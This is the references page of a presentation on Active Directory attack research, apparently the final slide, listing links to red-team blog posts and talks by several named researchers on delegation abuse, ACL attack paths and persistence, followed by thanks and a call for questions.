https://es.slideshare.net/harmjOy/an-ace-in-the-hole-stealthy-host-persistence-via-security-descriptors
https://www.harmjOy.net/blog/activedirectory/s4u2pwnage

http://www.harmjOy.net/blog/redteaming/another-word-on-delegation/
http://www.harmjOy.net/blog/redteaming/rubeus-now-with-more-kekeo/

http://www.harmjOy.net/blog/redteaming/from-kekeo-to-rubeus/
http://www.harmjOy.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
http://www.harmjOy.net/blog/powershell/running-laps-with-powerview/

Andrew Robbins

https://wald0.com/?p=112

https://wald0.com/?p=68
https://es.slideshare.net/AndyRobbins3/bloodhound-13-the-acl-attack-path-update-paranoial7-oslo
https://es.slideshare.net/AndyRobbins3/here-be-dragons-the-unexplored-land-of-active-directory-acls
https://www.youtube.com/watch?v=bHuetBOeOOQ

Elad Shamir

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

Sean Metcalf

https://adsecurity.org/?p=1667
https://adsecurity.org/?p=4056

Dirk-jan Mollema

https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

www.crummie5.club



MANY THANKS!

Any Question?




